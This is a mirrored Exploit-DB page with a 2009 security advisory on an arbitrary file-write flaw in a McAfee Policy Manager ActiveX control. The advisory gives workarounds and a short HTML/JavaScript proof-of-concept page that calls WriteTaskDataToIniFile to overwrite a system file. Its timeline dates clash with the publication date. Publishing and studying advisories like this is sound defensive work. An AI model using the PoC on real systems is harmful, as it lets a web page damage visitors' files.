- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 8970
- Проверка EDB
-
- Пройдено
- Автор
- CALLAX
- Тип уязвимости
- REMOTE
- Платформа
- WINDOWS
- CVE
- N/A
- Дата публикации
- 2009-06-16
Код:
GOODFELLAS Security Research TEAM
http://goodfellas.shellcode.com.ar
Greetings to str0ke
McAfee, Inc. 3.6.0.608 Policy Manager naPolicyManager.dll Arbitrary Data Write
==============================================================================
Internal ID: VULWAR20090616.
-----------
Introduction
------------
naPolicyManager.dll is a library included in the Program Mc Afee inc.
Tested In
---------
- Windows XP SP1/SP2 french/english with IE 6.0 / 7.0.
Summary
-------
The WriteTaskDataToIniFile method doesn't check if it's being called from the
application or from a malicious user. A Remote Attacker could craft a
html page and overwrite arbitrary files in a system.
Impact
------
The vulnerability could allow malicious users to write arbitrary data on a
vulnerable system that uses this software.
Workaround
----------
- Activate the Kill bit zero in the clsid corresponding to the software.
- Unregister naPolicyManager.dll using regsvr32.
Timeline
--------
July 16 2009 -- Bug Discovery.
July 16 2009 -- POC published.
Credits
-------
* callAX <[email protected]>
Technical Details
-----------------
WriteTaskDataToIniFile method receives one argument filename in this format
"c:\path\file".
Proof of Concept
---------------
<HTML>
<BODY>
<object id=ctrl classid="clsid:{04D18721-749F-4140-AEB0-CAC099CA4741}"></object>
<SCRIPT>
function Do_1t()
{
File = "C:\b00t.ini"
ctrl.WriteTaskDataToIniFile(File)
}
</SCRIPT>
<input language=JavaScript onclick=Do_1t() type=button value="P0c">
</BODY>
</HTML>
# milw0rm.com [2009-06-16]- Источник
- www.exploit-db.com
